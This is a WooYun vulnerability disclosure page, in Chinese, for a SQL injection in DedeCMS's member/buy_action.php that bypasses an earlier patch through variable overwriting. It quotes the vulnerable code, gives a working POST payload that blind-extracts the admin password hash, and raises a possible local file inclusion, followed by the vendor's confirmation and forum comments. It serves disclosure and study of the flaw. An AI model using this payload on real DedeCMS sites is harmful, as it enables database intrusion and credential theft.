当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-052685

漏洞标题:DedeCMS某全版本通杀SQL注入(续)

相关厂商:Dedecms

漏洞作者: kobin97

提交时间:2014-03-03 21:30

修复时间:2014-06-01 21:31

公开时间:2014-06-01 21:31

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-03: 细节已通知厂商并且等待厂商处理中
2014-03-04: 厂商已经确认,细节仅向厂商公开
2014-03-07: 细节向第三方安全合作伙伴开放
2014-04-28: 细节向核心白帽子及相关领域专家公开
2014-05-08: 细节向普通白帽子公开
2014-05-18: 细节向实习白帽子公开
2014-06-01: 细节向公众公开

简要描述:

0x00 前言
不可否认,官方应对安全漏洞的能力以及这次发布的安全补丁也是十分的失败的!
大家再回来看看:http://www.wooyun.org/bugs/wooyun-2014-051889 (文章:http://drops.wooyun.org/papers/979) 分析,确实是很黄很暴力!
但:大家再看看,造成这次漏洞的原因是加密太简单?分析这个漏洞的人也是傻眼了吧?补丁是否能真正解决问题?下面我们来分析下看看。

详细说明:

0x01 漏洞分析
回头看buy_action.php 这个文件(修复版)。
代码 25行

parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
foreach($mch_Post as $k => $v) $$k = $v;


很明显,造成这次漏洞的原因是变更覆盖。
但官方修复却是 加强mchStrCode函数的加密强度。
我们再看调用:mchStrCode 的地方
同文件的 112 行

$pr_encode = '';
foreach($_REQUEST as $key => $val)
{
$pr_encode .= $pr_encode ? "&$key=$val" : "$key=$val";
}

$pr_encode = str_replace('=', '', mchStrCode($pr_encode));


傻了,这 $key 和 $val 都可以控制呀。。
如果可以直接传入
GLOBALS[cfg_dbprefix] 不就可以造成变量覆盖了吗?
但了解dede的人都知道,在文件:include/common.inc.php 有全局过滤 GLOBALS 开头键、值的过滤函数,绕过这个好像比较登天还要难吧!
但实际上,&$key=$val 这样的拼接,还可以值里输入 &a=x 这样的呀,解释后不就可以利用了么?
0x02 漏洞测试
此处是一个盲注,为了测试方便,我们直接修复执行语句的文件,打印出执行的语句:
echo $this->queryString."<br>";
http://localhost/member/buy_action.php?
POST
pid=1&product=card&a=b%26GLOBALS[cfg_dbprefix]=dede_member_operation where mid=9999 or @`'` or (ascii(substring((select pwd from dede_admin limit 0,1),1,1))=97)#%26product=@`'`
注意到 %26 即 &

1.jpg


然后点击购买并支付

2.jpg


可以看到语句被成功地注入到查询中。
根据回应不同,我们可以盲注成数据库中的数据。
0x03 漏洞深入分析
128行

$rs = $dsql->GetOne("SELECT * FROM `#@__payment` WHERE id='$paytype' ");
require_once DEDEINC.'/payment/'.$rs['code'].'.php';


如果覆盖变量 $paytype ,可以造成本地文件包含?通过包含文件是否就能拿shell了?
不难发现 parse_str 受GPC控制,利用条件也就是GPC OFF
测试之

3.jpg


拿shell方法暂不研究了,有兴趣的可以继续。
0x04 总结
有时漏洞点一个,但利用方式很多,把主要造成漏洞的地方修复了,才是真正的修复,而不是看别人指那就修复那。

漏洞证明:

上面已经包含证明过程

修复方案:

变量覆盖的地方。

版权声明:转载请注明来源 kobin97@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2014-03-04 12:19

厂商回复:

感谢反馈,已经修复。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-03-03 21:31 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3224 漏洞数:254 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    前排围观

  2. 2014-03-03 21:32 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    Mark!前台火速留名,二楼卖水表!

  3. 2014-03-03 21:33 | niliu 认证白帽子 ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

    前排卖摔炮

  4. 2014-03-03 21:35 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1545 漏洞数:260 | ...........................................)

    厉害啊!

  5. 2014-03-03 21:38 | lucky ( 普通白帽子 | Rank:409 漏洞数:84 | 三人行必有我师焉########################...)

    厉害啊!

  6. 2014-03-03 21:42 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    不是一次修复了2个吗,还有类似的?

  7. 2014-03-03 21:58 | tnt1200 ( 普通白帽子 | Rank:121 漏洞数:17 | 关注飞机安全....)

    火钳刘明

  8. 2014-03-03 21:58 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    关注下wooyun老大

  9. 2014-03-03 22:13 | 忆苦思甜 ( 实习白帽子 | Rank:65 漏洞数:25 )

    mark

  10. 2014-03-03 22:16 | Azui ( 路人 | Rank:25 漏洞数:10 | 用一只黑色铅笔画一出舞台默剧。)

    前排围观。

  11. 2014-03-03 22:36 | 07@jyhack.com ( 路人 | Rank:14 漏洞数:10 | 希望和大家多多交流,多多沟通、)

    织梦这是要火的节奏。。。

  12. 2014-03-03 22:54 | 高斯 ( 路人 | Rank:16 漏洞数:4 )

    DeDe火了!

  13. 2014-03-03 22:56 | 西毒 ( 普通白帽子 | Rank:221 漏洞数:33 | 心存谦卑才能不断超越自我)

    老大你是要火了一把又一把么

  14. 2014-03-03 23:08 | My5t3ry ( 实习白帽子 | Rank:31 漏洞数:13 )

    看到补丁中的$GLOBALS['cfg_cookie_encode']经过了3次MD5就没跟了,哈哈

  15. 2014-03-03 23:19 | My5t3ry ( 实习白帽子 | Rank:31 漏洞数:13 )

    这个补丁。。。细心&NB的黑阔伤不起

  16. 2014-03-03 23:28 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1:5 无限量收 [平台担保])

    @niliu 抢生意啊

  17. 2014-03-04 00:48 | 星光 ( 路人 | Rank:0 漏洞数:1 | 路途行踪的小白)

    抱大腿

  18. 2014-03-04 02:43 | Let a person cry. ( 路人 | Rank:23 漏洞数:9 | xxoo)

    果断火的节奏..来私聊发下,又去撸一圈

  19. 2014-03-04 08:36 | niliu 认证白帽子 ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

    @zzR 后排生意也不错

  20. 2014-03-04 09:03 | 银狼_avi ( 实习白帽子 | Rank:55 漏洞数:13 | 本屌十二岁破处)

    mark

  21. 2014-03-04 09:12 | 假面, ( 实习白帽子 | Rank:32 漏洞数:7 | 我是一个小小小小小sb~)

    - -.这织梦真的会被玩死。。

  22. 2014-03-04 09:44 | adm1n ( 普通白帽子 | Rank:216 漏洞数:66 | 只是一个渣渣而已。。。)

  23. 2014-03-04 09:50 | C4nf3ng ( 路人 | Rank:18 漏洞数:5 )

    mark

  24. 2014-03-04 17:14 | 猪头子 ( 普通白帽子 | Rank:189 漏洞数:35 | 自信的看着队友rm -rf/tar挂服务器)

    坐等第三次绕过

  25. 2014-03-07 12:39 | 乌云合作伙伴-知道创宇(乌云厂商)

    果然是一样的~~ 洞主v5

  26. 2014-03-08 02:09 | 小东丶 ( 路人 | Rank:0 漏洞数:1 | 淫荡的思想。)

    又出洞?

  27. 2014-04-13 03:23 | 二少 ( 路人 | 还没有发布任何漏洞 | xxxxx)

    这个洞出自哪个文件?

  28. 2014-06-02 08:46 | ieasyi ( 路人 | Rank:3 漏洞数:2 )

    今年上半年SQL注射入明星厂商啊。这绝对是要火的节奏。